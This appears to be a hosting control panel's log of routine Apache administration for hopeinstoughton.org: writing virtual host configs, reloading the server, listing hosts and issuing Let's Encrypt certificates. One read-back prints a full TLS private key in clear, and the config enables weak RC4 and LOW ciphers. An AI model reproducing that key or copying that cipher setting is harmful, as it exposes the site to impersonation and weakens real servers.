        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-02-18 06:00:14: 

PUT: /tmp/pkp428767

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_www_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf= 1'
fi


2026-02-18 06:00:14: 

chmod 755 /tmp/pkp428767; /tmp/pkp428767; rm /tmp/pkp428767

2026-02-18 06:00:14: 




2026-02-18 06:00:14: 

PUT: /tmp/pkp462595

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-18 06:00:14: 

chmod 755 /tmp/pkp462595; /tmp/pkp462595; rm /tmp/pkp462595

2026-02-18 06:00:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-18 06:00:14: Establishing a connection
2026-02-18 06:00:14: 

PUT: /tmp/pkp664250

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-18 06:00:14: 

chmod 755 /tmp/pkp664250; /tmp/pkp664250; rm /tmp/pkp664250

2026-02-18 06:00:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-18 06:00:14: 

PUT: /tmp/pkp155924

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-18 06:00:14: 

chmod 755 /tmp/pkp155924; /tmp/pkp155924; rm /tmp/pkp155924

2026-02-18 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf	1690
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-02-18 06:00:14: 

PUT: /tmp/pkp138887

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-18 06:00:14: 

chmod 755 /tmp/pkp138887; /tmp/pkp138887; rm /tmp/pkp138887

2026-02-18 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt	5385
df:bd:03:64:ba:23:b8:68:10:e3:ed:c9:53:99:b0:8e

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBak3QBaN51BAtZY2oGVejmVcMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE4MDUwMTQzWhcNMjYwNTE5MDUwMTQyWjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsJQJenh92p/3ICQ/rGUd76BJofKqusvRTJjDKi0d2s58spGOkrkBNvep
7jsCzu8hNEmitnw0vCtq/IuaMwhg1Hw/jlK0PnkO7+cQC/zjLZDyhPYR7IZ63s6E
s71OQDVDjFj/Ruu15VJBWLiBkWsyBMViaOCAQM3dk3XjdqcI+dWCMpaKOmm5faUo
yXijf2qKtekpVJ1Me4f6NiHhcln+u5bE+rZi7vj7ZGYXmcwnwsXB7ve+WFtDG/Sd
dLUktKi+mK+jwsY1UOPoa6/0LuBCKYZEGz6PhyUS4IPVm1y11q3phPIrO8sM7EXh
Q74YHPJcPfQMd9fgXWsb7276lJcYRwIDAQABo4ICNDCCAjAwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FGITLZV9cazgVAAxhGGss0unqKC8MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITaG9wZWluc3RvdWdodG9uLm9yZ4IXd3d3
LmhvcGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy85My5jcmwwggEGBgor
BgEEAdZ5AgQCBIH3BIH0APIAdwAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+Ocf
MxP1+gAAAZxvVbJ+AAAEAwBIMEYCIQCRuig23y9TUT60BkHu9APR/sH29czVamei
iRTAWXXfwwIhALhI4y8XDe59dOjATM/VRfIff2peYT4vB71Drkf46f5rAHcAyzj3
FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGcb1WyfQAABAMASDBGAiEA
0uCuW9nA+x1nY9C5CyabS4bNT2LPKzM+/eecVV9wXIYCIQDtH1ot/69JtPJtigfO
tghVUuL2cyOnTtQRFQXyRf2GTzANBgkqhkiG9w0BAQsFAAOCAQEAN7dwOiHM7k/s
a7Y4ErHzLUDgPu8bqOt5Y6XZtxfJafiyv2h2l/BkaQ5/1yPivMn7zV+cb+okjazI
Bz6DlBk2yE4glSnlsU+3BL0/zpAPJRZ96LTlHEUzm4FnO+kz98NFN2PNIa+mV6/T
UBnp3eNzgca7/UFFNV7QypW66JyYdc3lofzzyzjF81fq1alBEnG1YOXZ7BWChXWi
Py6BYkZPF918MJ03EkIEjq2I+EvBDh9sDAJ4nxLL2ZqMRDVN0thR6yfC+c758+O0
JDE8k2v9dCf7pJev5oW5+Lk5I2zPWgqcx7/gDNBwAHabJxCeAubQv0Ndgh093wpw
DvfrkRrjKw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCwlAl6eH3an/cg
JD+sZR3voEmh8qq6y9FMmMMqLR3aznyykY6SuQE296nuOwLO7yE0SaK2fDS8K2r8
i5ozCGDUfD+OUrQ+eQ7v5xAL/OMtkPKE9hHshnrezoSzvU5ANUOMWP9G67XlUkFY
uIGRazIExWJo4IBAzd2TdeN2pwj51YIyloo6abl9pSjJeKN/aoq16SlUnUx7h/o2
IeFyWf67lsT6tmLu+PtkZheZzCfCxcHu975YW0Mb9J10tSS0qL6Yr6PCxjVQ4+hr
r/Qu4EIphkQbPo+HJRLgg9WbXLXWremE8is7ywzsReFDvhgc8lw99Ax31+Bdaxvv
bvqUlxhHAgMBAAECggEAS7oRHo7SGpKD3yrsi7iJ0ByDt4pkoduLFThmao4SwaXQ
YJx/8niZBsPMArkYCTsQmGYD/BLkYtaT+V69cKllLXtjnlvlpO0x9Ly5awq3OvFw
sIj/QtqhkzAqRRMoney53VTFldq8lW5jS/NEzeKU/urPu36cQi6Hmhfyxw33kXzC
/OxDf7Pd0U6zk5diweTd6V3cVChGnWxWuqlXcaRIq1OeP0cx3He+oQVmaQaqU1NS
z8+xP6VUUjwokCKqsg426S5rattAcyM0Djy2GhikmExaBpiJIPz5MsgAtrGgV2lo
/YXmfy7gwermtL0h1VzhxdHRosRRr4nbr+sPmaOSEQKBgQDahgC72GxrtFt2KXrz
r5NsnkAUkFkE6rzUE8vaXSB6n/jozGyLnjubIgJrKtX830rTLNUPF5QI5Ixh1Z/s
hh5kjb9dev2Wk3lurGnigxg4Y6nyBNHEs99UbD9lJ7BLqj9JH3V7JZjKuR48EaL3
2LF6P7ZM2ee2VOfKyb+TCR3rhQKBgQDO3Hvcl5bEITvO/Fv94JETbvm2E2m55Ywi
xev8rBR/LLg0lBtgw4uZDVwxENNqdxNVLkijfbU/bi45NtE1cVU9uJ+ITfP7danN
6eTX1/yWUyQgzXrgV/ZaiZs/JqZkzvIvK7tacJybyFW/B8WOhzGIsC+nWM5U4V6L
XrcKq2DgWwKBgCKrrCYhmmIkRXaj8iwDqWJMYWJh3J3ZGIiVc3x71hFenEFjXb1x
J4ffh361Vyo9y0NiE5PHa+dVS6iiGjOOu/e8PaZ5Qw7G6zdSB6K2pfscZPRPK3EI
EOD2I8DK4T/ADTZu1Vbqiilv4YoqSi8EpHP+88+Rqx/UrMoR5GFRyvt5AoGAQQGS
vwC4NUxIUkSF2CNhE91VBb3WBMA5KJhQD6g4DLsN7B/69o6c6O0E4rpp5dQjtCoG
U7JmadeDGSG73vKNmgbRw3DT0lrokLgG3TmXu9nGybQpACVEWrFRoyfPNHDANMim
aMZowJ/VKmIT2DVuAIl1gD5tIMlt/5g1J1ox6G8CgYBatcoe6pZ4eO+S0IqLXprb
YPfKlj9RFoFA1x7vOqwhBSIPpjrqJzkS/E9RVoTZfCLTjndSCvj3yQU1X1cWlY03
HfZIQnwknONfGhaZpHdMM+C39a4z+OS9DVGT4ajYZodtsqFMH0bOxHzHd4FIipln
nrV0GxfWIdX2vMqQXuuUAg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-18 06:00:14: Establishing a connection
2026-02-18 06:00:15: Establishing a connection
2026-02-18 06:00:15: 

PUT: /tmp/pkp572606

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-18 06:00:15: 

chmod 755 /tmp/pkp572606; /tmp/pkp572606; rm /tmp/pkp572606

2026-02-18 06:00:15: 


1


2026-02-18 06:00:16: Establishing a connection
2026-02-18 06:00:16: 

PUT: /tmp/pkp447601

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > 9OeOUYRXwP3j7IsKw8IQQ7DRCbi038ZRy0yWwerATN8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9OeOUYRXwP3j7IsKw8IQQ7DRCbi038ZRy0yWwerATN8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9OeOUYRXwP3j7IsKw8IQQ7DRCbi038ZRy0yWwerATN8


2026-02-18 06:00:16: 

chmod 755 /tmp/pkp447601; /tmp/pkp447601; rm /tmp/pkp447601

2026-02-18 06:00:16: 




2026-02-18 06:00:20: Establishing a connection
2026-02-18 06:00:20: 

PUT: /tmp/pkp223190

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
rm 9OeOUYRXwP3j7IsKw8IQQ7DRCbi038ZRy0yWwerATN8


2026-02-18 06:00:20: 

chmod 755 /tmp/pkp223190; /tmp/pkp223190; rm /tmp/pkp223190

2026-02-18 06:00:20: 




2026-02-18 06:00:20: Establishing a connection
2026-02-18 06:00:21: 

PUT: /tmp/pkp332751

#!/bin/bash
temp_file=$(mktemp)
TARGET=4190d696888bea52996fb61a0a63827a.crt

cat > $temp_file <<'endmsg'
93:db:4d:4a:53:bb:46:d4:80:51:b2:ee:3d:8a:1d:56

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBbamTChzotMPUeaZqm1EI83PMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE4MDUwMTUwWhcNMjYwNTE5MDUwMTQ5WjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALTklhKTz2DN9RiHY5Ru7F1GHhVy7DjGjdTD99Yd6ZGC4ewm
QCpUEMWlbQugNBQvAihptxKgHrW9dvq8vul8GXTA6u0JiSTsB+f8tVftvEOQp+g8
urcBBVHj/ZF1JMgbS7Gw5pYls+T7jPAmZIuWJTn1nl7KKwDxOqVrgk86l72DOViG
f3rsvkiOTr7h0ZyXxlr/DOx/Rt8/VSRVDBvuxM3vTyo5NqPbyD+9Zi3RHTCjWiAJ
/WtMcCAUGJJ9+knp1mt6Ca+7tNkDr0DIuIqqUC8y1MsTp/R5inwmANPZFMTCJCRs
GNuRZHNhzJ+gVHv74sjAqdly8T377TxetQWy2AUCAwEAAaOCAh8wggIbMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBRx04xV4aZSmndI+0bOPDMyWJlkozAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmJhY2t1cC5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODAuY3JsMIIBAwYKKwYBBAHWeQIEAgSB
9ASB8QDvAHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGcb1XN
nAAABAMARjBEAiAHG6GuOrSgiPED7XCOU0pBXL+aFQeWItwZ1ane44SkFAIgXVTy
cs1ewH+Up38vbGfYkR7ihsEAGsFzCz1kr5XXhSAAdgCWl2S/VViXrfdDh2g3CEJ3
